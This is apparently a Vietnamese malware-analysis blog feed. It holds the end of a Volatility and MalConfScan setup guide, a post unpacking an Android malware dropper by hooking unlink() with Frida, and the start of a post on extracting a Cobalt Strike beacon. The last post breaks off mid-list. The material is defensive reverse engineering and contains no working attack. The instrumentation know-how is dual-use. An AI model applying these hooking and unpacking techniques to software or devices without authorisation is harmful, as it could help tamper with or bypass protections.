<pre><code class="language-powershell">$ pip install distorm3 yara-python==3.11.0 pycrypto Pillow==6.2.2 openpyxl ujson==1.35 pytz ipython
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/0dcdaf3e-39fa-4d10-9317-c870d5ce1ce4.png" alt="" style="display:block;margin:0 auto" />

<p>Cài đặt <strong>Volatility</strong></p>
<pre><code class="language-powershell">$ python .\setup.py build
$ python .\setup.py install
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/be822271-26fe-4c71-b62f-f1af0309bf17.png" alt="" style="display:block;margin:0 auto" />

<p>Kiểm tra hoạt động</p>
<pre><code class="language-powershell">$ vol.py --info | findstr -i "win10x64"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/cf6d6585-10fd-44a7-b724-c3626af10b34.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-powershell">$ vol.py -f .\sample\triage.mem imageinfo
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/48b03b1e-5eaf-479f-9f30-1855040cb296.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-powershell">$ vol.py -f .\sample\triage.mem --profile=Win7SP1x64 pslist
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/f1e74cab-fc58-4e71-9fc5-42bf12acbf6a.png" alt="" style="display:block;margin:0 auto" />

<h1>2. Cài đặt Volatility trên Linux Ubuntu/WSL hoặc macOS</h1>
<p>Cài đặt Python 2:</p>
<pre><code class="language-bash">$ apt install python python-dev -y
$ python -V
Python 2.7.18
</code></pre>
<p>Cài đặt Pip:</p>
<pre><code class="language-bash">$ curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py -o get-pip.py
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/c4e275cf-c9dd-4f2f-8827-ddb5c15fea57.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">$ python get-pip.py
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/dbe6cd88-f3cb-4417-aa0e-aa0466ec2d39.png" alt="" style="display:block;margin:0 auto" />

<p>Download mã nguồn:</p>
<pre><code class="language-bash">$ git clone --recursive https://github.com/volatilityfoundation/volatility.git
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/a480badf-1dd4-42c2-8b38-6886b319f44d.png" alt="" style="display:block;margin:0 auto" />

<p>Cài đặt gói <code>virtualenv</code></p>
<pre><code class="language-bash">$ pip install virtualenv
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/27b28bf5-9269-4d0c-aa41-c7a84a9fb03d.png" alt="" style="display:block;margin:0 auto" />

<p>Tạo Python Virtual Environments</p>
<pre><code class="language-bash">\( virtualenv -p \)(which python) vol2
$ source vol2/bin/activate
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/d571a74a-0f24-4ced-89d3-98cffda7839c.png" alt="" style="display:block;margin:0 auto" />

<p>Cài đặt các dependencies Python Modules</p>
<pre><code class="language-bash">$ pip install distorm3 yara-python==3.11.0 pycrypto Pillow==6.2.2 openpyxl ujson pytz ipython
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/2eb8dcec-b3b1-488e-99da-e6e2bd2b8a92.png" alt="" style="display:block;margin:0 auto" />

<p>Cài đặt Volatility</p>
<pre><code class="language-bash">$ python setup.py build
$ python setup.py install
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/f4cb5e06-4f91-4287-97ef-d7160ac87003.png" alt="" style="display:block;margin:0 auto" />

<p>Kiểm tra hoạt động</p>
<pre><code class="language-bash">$ vol.py --info | grep -i "win10x64"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/dbc54405-5c9d-4aad-8a0f-c8bc6ec4c992.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">$ vol.py --conf-file=sample/volatilityrc linux_banner
$ vol.py --conf-file=sample/volatilityrc linux_pslist
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/81abbf69-d553-41b6-939e-25721441491d.png" alt="" style="display:block;margin:0 auto" />

<h1>3. Cài đặt bộ plugin MalConfScan cho Volatility</h1>
<p>💡 Áp dụng cho Linux, macOS và WSL</p>
<p><strong>MalConfScan</strong> là một bộ plugin cho Volatility do <strong>JPCERTCC</strong> phát triển với chức năng phát hiện và trích xuất cấu hình của những dòng mã độc (Malware Family) đã biết. Bộ plugin này rất hữu dụng cho những người làm công việc phân tích Malware trên bộ nhớ.</p>
<p>Sao chép mã nguồn của <strong>MalConfScan</strong> từ Github:</p>
<pre><code class="language-bash">$ git clone https://github.com/JPCERTCC/MalConfScan.git
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/8398148c-5ab2-45a7-a81f-77e76a7a3382.png" alt="" style="display:block;margin:0 auto" />

<p>Cài đặt các gói phụ thuộc của <strong>MalConfScan</strong></p>
<pre><code class="language-bash">$ pip install -r MalConfScan/requirements.txt
</code></pre>
<p>Sao chép các plugin của <strong>MalConfScan</strong> vào thư mục plugin của <strong>Volatility</strong></p>
<pre><code class="language-bash">$ cd MalConfScan
$ cp -R malconfscan.py utils yara ~/volatility/vol2/lib/python2.7/site-packages/volatility-2.6.1-py2.7.egg/volatility/plugins/malware/
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/5de25be3-0552-4167-ab3d-1639e757f313.png" alt="" style="display:block;margin:0 auto" />

<p>Kiểm tra kết quả</p>
<pre><code class="language-bash">$ vol.py --info | grep -i "malconf"
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/b48ce72e-f5b8-4b3d-8484-9d2560fc15b4.png" alt="" style="display:block;margin:0 auto" />

<p>Chạy thử plugin mới cài</p>
<pre><code class="language-bash">$ vol.py --conf-file=sample/volatilityrc linux_malconfscan
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/b5c9c145-7e00-43c5-a982-0f44655f3945.png" alt="" style="display:block;margin:0 auto" />

<h1>4. Đóng gói Volatility với PyInstaller</h1>
<p>💡 Áp dụng cho Windows. Phần này độc lập với các phần trước, có thể thực hiện ngay, ko phải thực hiện các bước trước đó.</p>
<p><strong>PyInstaller</strong> là một công cụ đóng gói các ứng dụng viết bằng Python thành một tệp duy nhất phù hợp với hệ điều hành mà bạn đang chạy. Sau khi đóng gói, có thể dễ dàng đem tệp thực thi sang các hệ điều hành khác cùng loại để chạy mà không cần phải cài đặt bất cứ thành phần nào của Volatility từ đầu.</p>
<p>Tham khảo hướng dẫn tại đây: <a href="https://github.com/volatilityfoundation/volatility/wiki/Compiling-Binaries-with-Pyinstaller">https://github.com/volatilityfoundation/volatility/wiki/Compiling-Binaries-with-Pyinstaller</a></p>
<p>Download mã nguồn của <strong>Volatility Framework</strong></p>
<pre><code class="language-powershell">$ git clone --recursive https://github.com/volatilityfoundation/volatility.git
</code></pre>
<p>Tạo <strong>Python Virtual Environments</strong></p>
<pre><code class="language-powershell">$ virtualenv.exe -p path\to\your\\python.exe vol2
$ .\vol2\Scripts\activate
</code></pre>
<p>Cài đặt các dependencies Python Modules</p>
<pre><code class="language-powershell">$ pip install distorm3 yara-python==3.11.0 pycrypto Pillow==6.2.2 openpyxl ujson==1.35 pytz ipython
</code></pre>
<p>Cài đặt <strong>PyInstaller</strong> phiên bản v3.4</p>
<pre><code class="language-powershell">$ pip install pyinstaller==3.4
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/a111ea7a-80b3-4243-ac20-22c1ed28d9be.png" alt="" style="display:block;margin:0 auto" />

<p>Patching Source của gói <code>OpenPyxl</code></p>
<ul>
<li><p>Source code trước khi patch</p>
<pre><code class="language-python"># Copyright (c) 2010-2019 openpyxl
  

from openpyxl.compat.numbers import NUMPY, PANDAS
from openpyxl.xml import DEFUSEDXML, LXML
from openpyxl.workbook import Workbook
from openpyxl.reader.excel import load_workbook
import openpyxl._constants as constants

# Expose constants especially the version number

__author__ = constants.__author__
__author_email__ = constants.__author_email__
__license__ = constants.__license__
__maintainer_email__ = constants.__maintainer_email__
__url__ = constants.__url__
__version__ = constants.__version__
</code></pre>
</li>
<li><p>Source code sau khi patch</p>
<pre><code class="language-python"># Copyright (c) 2010-2019 openpyxl
import json
import os
import sys

from openpyxl.compat.numbers import NUMPY, PANDAS
from openpyxl.xml import DEFUSEDXML, LXML
from openpyxl.workbook import Workbook
from openpyxl.reader.excel import load_workbook
import openpyxl._constants as constants

# Expose constants especially the version number

__author__ = constants.__author__
__author_email__ = constants.__author_email__
__license__ = constants.__license__
__maintainer_email__ = constants.__maintainer_email__
__url__ = constants.__url__
__version__ = constants.__version__

here = os.path.abspath(os.path.dirname(__file__))
if hasattr(sys, '_MEIPASS'):
    here = sys._MEIPASS
</code></pre>
</li>
</ul>
<p>Tùy chọn: Packed tệp với <strong>UPX Packer</strong></p>
<ul>
<li><p>Download tại: <a href="https://github.com/upx/upx/releases">https://github.com/upx/upx/releases</a></p>
</li>
<li><p>Giải nén và chép tệp upx.exe vào: <code>volatility\vol2\Scripts\</code></p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/9d1f0ed9-70de-4cc5-a935-85c723e91164.png" alt="" style="display:block;margin:0 auto" />

<p>Đóng gói với <strong>PyInstaller</strong></p>
<pre><code class="language-powershell">$ pyinstaller --onefile pyinstaller.spec
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/575853dc-cf22-4b5c-86e8-998bc0d8da87.png" alt="" style="display:block;margin:0 auto" />

<p>Kiểm tra hoạt động:</p>
<pre><code class="language-powershell">$ .\dist\volatility.exe -f .\sample\triage.mem --profile=Win7SP1x64 pstree
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/cc82dee4-bf3c-401a-ae46-e47c4492c873.png" alt="" style="display:block;margin:0 auto" />]]></content:encoded></item><item><title><![CDATA[Frida 104: Unpacking Android Malware]]></title><description><![CDATA[1. Tổng quan
Việc phân tích các APK đã bị Packer khá là khó chịu cho người phân tích. Trong phần này sẽ trình bày một cách để Unpack một Android Malware. Mẫu được sử dụng có sẵn trên VirusTotal:
$ fil]]></description><link>https://blog.lehonghai.com/frida-104-unpacking-android-malware</link><guid isPermaLink="true">https://blog.lehonghai.com/frida-104-unpacking-android-malware</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Mon, 31 May 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h1>1. Tổng quan</h1>
<p>Việc phân tích các APK đã bị Packer khá là khó chịu cho người phân tích. Trong phần này sẽ trình bày một cách để Unpack một Android Malware. Mẫu được sử dụng có sẵn trên <a href="https://www.virustotal.com/gui/file/509aa4a846c6cb52e9756a282de67da3e8ec82769bceafa1265428b1289459b3/detection">VirusTotal</a>:</p>
<pre><code class="language-powershell">$ file sample.apk
sample.apk: Java archive data (JAR)

$ sha256sum sample.apk
509aa4a846c6cb52e9756a282de67da3e8ec82769bceafa1265428b1289459b3  sample.apk
</code></pre>
<p>Kiểm tra nhanh mẫu cần phân tích, tệp APK thực chất là một ZIP File, giải nén tệp này và xem cấu trúc bên trong:</p>
<pre><code class="language-powershell">$ tree
.
├── AndroidManifest.xml
├── META-INF
│   ├── CERT.RSA
│   ├── CERT.SF
│   └── MANIFEST.MF
├── MawmjulbcbEndsqku^nd.cml
├── classes.dex
├── res
│   ├── drawable
│   │   └── dcuqizi.xml
│   ├── drawable-hdpi-v11
│   │   └── rahvpxdt.png
...
│   ├── layout
│   │   ├── dialog_web_view.xml
...
│   ├── layout-v17
│   │   └── dialog_web_view.xml
│   └── xml
│       └── qexyvzsh.xml
└── resources.arsc
</code></pre>
<p>Kiểm tra nhanh thấy bên trong có tệp <code>MawmjulbcbEndsqku^nd.cml</code> là đáng ngờ, một tệp APK thông thường thì sẽ hiếm khi xuất hiện những tệp kiểu dạng như vậy:</p>
<pre><code class="language-powershell">$ file 'MawmjulbcbEndsqku^nd.cml'
MawmjulbcbEndsqku^nd.cml: data

$ exiftool 'MawmjulbcbEndsqku^nd.cml'
ExifTool Version Number         : 10.80
File Name                       : MawmjulbcbEndsqku^nd.cml
Directory                       : .
File Size                       : 285 kB
File Modification Date/Time     : 2018:07:21 04:31:32+07:00
File Access Date/Time           : 2021:05:27 11:20:31+07:00
File Inode Change Date/Time     : 2021:05:27 11:24:04+07:00
File Permissions                : rwxrwxrwx
Error                           : Unknown file type

$ hexdump -C 'MawmjulbcbEndsqku^nd.cml' | head -10
00000000  9e 1c 01 00 e4 cf 0a 73  90 d6 c8 30 5a bc f1 b3  |.......s...0Z...|
00000010  fb 50 8f c8 40 37 a8 0c  54 af 84 6a 9f 5d a8 54  |.P..@7..T..j.].T|
00000020  53 59 a9 ad 2a 33 f6 0b  e7 d9 36 8f 34 39 6e ae  |SY..*3....6.49n.|
00000030  bc 02 36 8c df b2 d7 aa  c0 63 88 81 73 10 dc 8d  |..6......c..s...|
00000040  1b 72 39 fd 81 e3 f3 9c  7c 04 e8 87 26 f2 ce 08  |.r9.....|...&amp;...|
00000050  e2 45 4f 34 24 b5 61 dc  ef fc 2e f2 a7 b2 cb f9  |.EO4$.a.........|
00000060  af 6c ee b9 2e 86 e6 a2  2d 05 35 73 80 73 e3 21  |.l......-.5s.s.!|
00000070  0b d3 1f 34 af d4 5a be  7f 3f a8 fa 0d bd 2d 38  |...4..Z..?....-8|
00000080  15 60 46 a5 36 c2 9c f7  be 6f fa 1c 45 a0 e7 d0  |.`F.6....o..E...|
00000090  3d 14 ef 2c 8d 6f 62 41  07 58 05 0c 4d 32 e0 c8  |=..,.obA.X..M2..|
</code></pre>
<p>Như vậy có thể chắc chắn một điều rằng tệp đã bị mã hóa, các trình <strong>Detector</strong> không thể nhận biết được đây là tập tin loại gì. Chúng ta có thể phỏng đoán App Android trong quá trình khởi chạy nó sẽ đọc tệp này sau đó giải mã ra được Payload cuối và thực thi.</p>
<h1>2. Static Analysis</h1>
<p>Tệp <code>AndroidManifest.xml</code> là một <strong>XML Binary</strong> đi kèm bên trong các tệp APK. Nó chứa rất nhiều thông tin về ứng dụng Android:</p>
<ul>
<li><p>Package name của ứng dụng.</p>
</li>
<li><p>Danh sách các activities, services và receivers</p>
</li>
<li><p>Danh sách các quyền truy cập của ứng dụng trên thiết bị Android</p>
</li>
<li><p>Danh sách các action</p>
</li>
<li><p>Và nhiều thông tin khác nữa</p>
</li>
</ul>
<p>Để đọc được tệp này cũng như mã nguồn của chương trình APK cần một APK Decompiler, tôi sử dụng <a href="https://github.com/skylot/jadx">JADX-GUI</a>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/48763e75-308f-4322-901a-d78c8f8a1ac4.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/f0ca8b65-e0be-4831-ac88-247132f265d2/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Hầu hết các strings bên trong đều đã bị Obfuscate:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/32be5e37-8ccd-4273-a162-fe2c6c52ad34.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/3da9ee23-82a0-4333-afb1-f39992e6dad2/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Điều tương tự cũng xảy ra khi chúng ta cố gắng đọc code của ứng dụng, chúng đều bị obfuscate, gây khó khăn cho phân tích</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/339eabb9-5643-48a5-9f82-03df3fe45167.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/e09353c6-a703-4dd0-a209-3f6cb3e76f4e/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Từ tên lớp, package, tên các hàm đến các biến strings cũng đều bị obfuscate</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/61b1eeeb-fb1c-4bdd-bb2b-026a8c5a2ecf.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/eb088871-fb06-470a-ace1-f30461370cdf/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Có một nguyên tắc của các trình Packer/Obfuscator là khi các ứng dụng đã được đóng gói trong quá trình chạy (thường là giai đoạn đầu khi chạy) chúng sẽ tiến hành De-Obfuscate dữ liệu. Với các Packer/Obfuscator đơn giản, thường chúng ta nghĩ ngay đến việc kiểm tra các Crypto APIs và tập chung vào dữ liệu vào ra khi gọi các hàm này để biết được khi nào Malware giải mã code gốc. Tuy nhiên trong trường hợp này chúng ta không thấy bất kỳ một thư viện hay APIs nào kiểu như vậy, vì đơn giản chúng đã bị Obfuscate cả rồi.</p>
<h1>3. Dynamic Analysis</h1>
<p>Sử dụng <code>ADB</code> để kết nối với thiết bị Android. Sau đó dùng trình ghi log là <code>logcat</code> để quan sát ứng dụng ghi log như sau:</p>
<pre><code class="language-powershell">vbox86p:/ # logcat | grep 'com.jgnxmcj.knreroaxvi'
...
05-27 05:37:16.094  2219  2219 W dex2oat : /system/bin/dex2oat --runtime-arg -classpath --runtime-arg &amp; --instruction-set=x86 --instruction-set-features=smp,ssse3,-sse4.1,-sse4.2,-avx,-avx2,-lock_add,-popcnt --runtime-arg -Xrelocate --boot-image=/system/framework/boot.art --runtime-arg -Xms64m --runtime-arg -Xmx512m --instruction-set-variant=x86 --instruction-set-features=default --dex-file=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.jar --oat-fd=32 --oat-location=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.dex --compiler-filter=speed
05-27 05:37:16.094  2219  2219 I dex2oat : /system/bin/dex2oat --dex-file=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.jar --oat-fd=32 --oat-location=/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.dex --compiler-filter=speed
...
</code></pre>
<p>Chương trình APK này đã tạo ra một tệp <strong>JAR</strong> mới là <code>/data/user/0/com.jgnxmcj.knreroaxvi/app_files/rzwohkt.jar</code>. Sau đó nó convert tệp <strong>JAR</strong> này thành <code>rzwohkt.dex</code> ở cùng thư mục. Trong Android thì tệp <code>.dex</code> được thực thi bởi <a href="https://stackoverflow.com/a/7750547"><strong>Dalvik Virtual Machine</strong></a> và mã nguồn của ứng dụng APK có được sau khi decompile là từ đây. Kiểm tra các tệp này trong thư mục <code>/data/user/0/com.jgnxmcj.knreroaxvi/app_files/</code> thì không thấy tệp nào là <code>rzwohkt.jar</code> hay <code>rzwohkt.dex</code> như trong logs cả. Rất có thể nó đã bị xóa bởi tác giả của Malware. Nhiệm vụ tiếp theo là làm sao để ngăn chặn chương trình này (Dropper) xóa các tệp <code>.jar</code> hoặc <code>.dex</code> vì rất có thể đây chính là Payload độc cuối mà chúng ta cần đi tìm.</p>
<h1>4. Hooking với Frida</h1>
<p>Có nhiều cách để ngăn chặn việc xóa tệp trên một ứng dụng, trong phần này chúng ta sẽ sử dụng Frida để hook vào ứng dụng xóa tệp, mục đích vô hiệu hóa hàm xóa tệp. Thông thường nếu ứng dụng không có cơ chế bảo vệ thì chúng ta sẽ hook trực tiếp vào ứng dụng tuy nhiên ứng dụng này của chúng ta đang phân tích đã bị Obfuscated dẫn đến không biết hàm nào sẽ có hành động xóa file để mà hook!. Ý tưởng là chúng ta sẽ hook thẳng vào hàm hệ thống. Với cách này chúng ta không cần quan tâm hàm nào của ứng dụng Android thực hiện xóa file, vì chúng chỉ là các APIs mức cao, bản chất chúng vẫn chỉ gọi lại các api cấp thấp bên dưới. Đầu tiên hãy kiểm tra bằng <code>STRACE</code>, công cụ này có sẵn trên các nền tảng Linux và tất nhiên cũng có sẵn trong Android.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/72150a17-e319-4d66-9067-a8922e0bf251.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/991a0405-6ba7-48f1-ab5c-ca82d8e2f1ae/Untitled.png" alt="" style="display:block;margin:0 auto" />

<p>Triển khai mã JavaScript để hook vào hàm <code>unlink()</code>:</p>
<pre><code class="language-jsx">var unlinkPtr = Module.findExportByName(null, 'unlink');

Interceptor.replace(unlinkPtr, new NativeCallback(function (a) {
    console.log("[+] Unlink : " + Memory.readUtf8String(ptr(a)))
}, 'int', ['pointer']));
</code></pre>
<p>Kết quả sau khi thu được Payload:</p>
<pre><code class="language-powershell">$ sha256sum rzwohkt.jar rzwohkt.dex
f87d77a6dbc65d64c8c3b7a46413975543d7d58101852b9f8db728c1e6541b37  rzwohkt.jar
d948656d5a68a30e85304023489d186ab94a27e05f62d6a3eac6efd843a1d512  rzwohkt.dex
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/92dd5371-80f3-4765-8c9a-cebf8a914280.png" alt="" style="display:block;margin:0 auto" />

<img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/7f54de7f-17d5-47b9-bc73-44c6e4a5522a/Untitled.png" alt="" style="display:block;margin:0 auto" />

<h1>5. Tham khảo</h1>
<ul>
<li><p>How-to Guide: Defeating an Android Packer with FRIDA: <a href="https://www.fortinet.com/blog/threat-research/defeating-an-android-packer-with-frida">https://www.fortinet.com/blog/threat-research/defeating-an-android-packer-with-frida</a></p>
</li>
<li><p>N Ways to Unpack Mobile Malware: <a href="https://pentest.blog/n-ways-to-unpack-mobile-malware/">https://pentest.blog/n-ways-to-unpack-mobile-malware/</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Frida 103: Cobalt Strike Beacon Extraction]]></title><description><![CDATA[1. Giới thiệu
Trong phân tích Malware thì phương pháp phân tích động được ứng dụng rất nhiều để kiểm tra một chương trình trong quá trình nó thực thi. Thông thường chúng ta nghĩ ngay đến kỹ thuật Debu]]></description><link>https://blog.lehonghai.com/frida-103-cobalt-strike-beacon-extraction</link><guid isPermaLink="true">https://blog.lehonghai.com/frida-103-cobalt-strike-beacon-extraction</guid><dc:creator><![CDATA[Hai Le Hong]]></dc:creator><pubDate>Mon, 24 May 2021 10:05:00 GMT</pubDate><content:encoded><![CDATA[<h1>1. Giới thiệu</h1>
<p>Trong phân tích <strong>Malware</strong> thì phương pháp phân tích động được ứng dụng rất nhiều để kiểm tra một chương trình trong quá trình nó thực thi. Thông thường chúng ta nghĩ ngay đến kỹ thuật Debugging, sử dụng một số debugger như là: <code>OllyDbg</code>, <code>x64dbg</code>, <code>WinDbg</code>, <code>GDB</code>, <code>EDB</code>,.v.v.. để tiến hành phân tích. Một cách tiếp cận khác với phương pháp phân tích động đó là sử dụng các <strong>Dynamic Binary Instrumentation Frameworks</strong> cho phép chúng ta chèn và thực thi các <strong>Instrumentation Code (Hook Code)</strong> bên trong tiến trình cần phân tích.</p>
<p>Có nhiều Framework như vậy, nổi bật có: <code>Pin</code>, <code>DynamoRIO</code> và <code>Frida</code>. Chúng cho phép hook vào các APIs để quan sát, sửa đổi hay đánh giá đầu vào, đầu ra của chúng. Ưu điểm của các Framework này là tính linh động, hỗ trợ đa nền tảng (Windows, macOS, Linux, Android, iOS,.v.v..). Bài này tôi sẽ sử dụng <strong>Frida Framework</strong> để tự động hóa một phần trong quá trình Phân tích Malware.</p>
<h1>2. Bắt đầu với Frida</h1>
<p>Mục tiêu phần này là biết được cách Frida có thể quan sát được các APIs mà Cobalt Strike malware sử dụng. Mẫu được sử dụng có sẵn trên <a href="https://www.virustotal.com/gui/file/fe5585dfda44ca136bb2fb383052d03452f34c371a2349be0d0cbb6b07437865/detection">VirusTotal</a>:</p>
<pre><code class="language-bash">$ sha256sum sample1.exe
fe5585dfda44ca136bb2fb383052d03452f34c371a2349be0d0cbb6b07437865 *sample1.exe

$ file sample1.exe
sample1.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
</code></pre>
<p>Chúng ta bắt đầu với các APIs liên quan đến thao tác với tệp tin. Qua kiểm tra với <strong>CFF Explorer</strong>, biết được mẫu có import hàm <code>CreateFileA()</code>, <code>WriteFile()</code>, <code>ReadFile()</code> trong thư viện <code>KERNEL32.dll</code>. Theo tài liệu của Microsoft thì các hàm này được định nghĩa như sau:</p>
<ul>
<li><p>Hàm <strong>CreateFileA</strong></p>
<pre><code class="language-cpp">HANDLE CreateFileA(
  LPCSTR                lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);
</code></pre>
</li>
<li><p>Hàm <strong>WriteFile</strong></p>
<pre><code class="language-cpp">BOOL WriteFile(
  HANDLE       hFile,
  LPCVOID      lpBuffer,
  DWORD        nNumberOfBytesToWrite,
  LPDWORD      lpNumberOfBytesWritten,
  LPOVERLAPPED lpOverlapped
);
</code></pre>
</li>
<li><p>Hàm <strong>ReadFile</strong></p>
<pre><code class="language-cpp">BOOL ReadFile(
  HANDLE       hFile,
  LPVOID       lpBuffer,
  DWORD        nNumberOfBytesToRead,
  LPDWORD      lpNumberOfBytesRead,
  LPOVERLAPPED lpOverlapped
);
</code></pre>
</li>
</ul>
<p>Các hàm <code>WriteFile()</code>, <code>ReadFile()</code> chỉ sử dụng được sau khi mà đã có được <strong>HANDLE</strong> của file. Handle này có được khi gọi hàm <code>CreateFileA()</code> và tham số <code>lpFileName</code> trong hàm này chỉ ra tên của tệp. Như vậy để biết được chương trình đang có các hành động thao tác với tệp tin nào thì ta cần hook vào hàm <code>CreateFileA()</code>.</p>
<pre><code class="language-jsx">var hookCreateFileA = Module.getExportByName(null, "CreateFileA");

Interceptor.attach(hookCreateFileA, {
    onEnter: function(args)
    {
		console.log("\nCreateFileA at: " + hookCreateFileA);		
        console.log("  Name of the File or Device: " + args[0].readAnsiString());
    }
});
</code></pre>
<pre><code class="language-powershell">$ frida -l .\hooking\hookCreateFileA.js .\sample1.exe --no-pause
...
Spawned `.\sample1.exe`. Resuming main thread!
[Local::sample1.exe]-&gt;
CreateFileA at: 0x7ffb08631d20
  Name of the File or Device: \\.\pipe\MSSE-9610-server
</code></pre>
<p>Đầu ra này cho chúng ta biết được Malware cài đặt một <strong>PIPE</strong> (đường ống) để giao tiếp giữa các tiến trình. Định dạng này thường gặp khi phân tích các mẫu Cobalt Strike. Ví dụ: <a href="https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/">Link1</a>, <a href="https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/">Link2</a>. Thông thường các mẫu Cobalt Strike được phát hiện chỉ là một Loader, nó sẽ tiến hành tải Beacon Payload từ máy chủ điều khiển hoặc cũng có thể Beacon Payload được Obfuscate và nhúng ngay trong chính tệp thực thi Loader.</p>
<h1>3. Cobalt Strike Beacon Extraction</h1>
<p>Phân tích các mẫu Cobalt Strike thường sẽ phải trải qua nhiều giai đoạn deobfuscate để có được payload cuối cùng, có thể là một executable hoặc là shellcode và các payload cuối này thường sẽ được thực thi trên bộ nhớ tiến trình chứ không được ghi ra tệp trên ổ cứng. Quá trình này có thể được mô tả ngắn gọn như sau:</p>
<ol>
<li><p>Cấp phát vùng nhớ</p>
</li>
<li><p>Tiến hành giải mã Payload</p>
</li>
<li><p>Sao chép Payload đã giải mã vào vùng nhớ mới cấp phát</p>
</li>
<li><p>Chuyển luồng thực thi đến vùng nhớ chứa Payload độc.</p>
</li>
</ol>
<p>Để có thể hiểu và nắm được quá trình giải mã dữ liệu sau cùng là có được Beacon Payload đòi hỏi người phân tích phải có kiến thức, kỹ năng về Phân tích tĩnh mã Assembly và Debugging nhất định. Khi nắm được cơ chế giải mã của Malware, chúng ta có thể tự động hóa quy trình này với <strong>Frida</strong>.</p>
<p>Hệ điều hành Windows hỗ trợ nhiều APIs sử dụng cho việc cấp phát và thao tác với các vùng nhớ. Ở đây tôi sẽ tập chung vào <code>VirtualAlloc()</code> và <code>VirtualProtect()</code>. Hàm VirtualAlloc được dùng để cấp phát bộ nhớ trong một tiến trình còn hàm VirtualProtect dùng để thay đổi thuộc tính vùng nhớ như là các quyền: đọc, ghi, thực thi. Mô tả của 2 hàm này như sau:</p>
<ul>
<li><p>Hàm <strong>VirtualAlloc</strong></p>
<pre><code class="language-cpp">LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
</code></pre>
<ul>
<li><p>Trong đó:</p>
<ul>
<li><p><code>lpAddress</code>: Địa chỉ vùng nhớ sẽ cấp phát. Nếu là <strong>NULL</strong> thì hệ thống tự động xác định địa chỉ này.</p>
</li>
<li><p><code>dwSize</code>: Kích thước vùng nhớ sẽ cấp phát được tính bằng byte.</p>
</li>
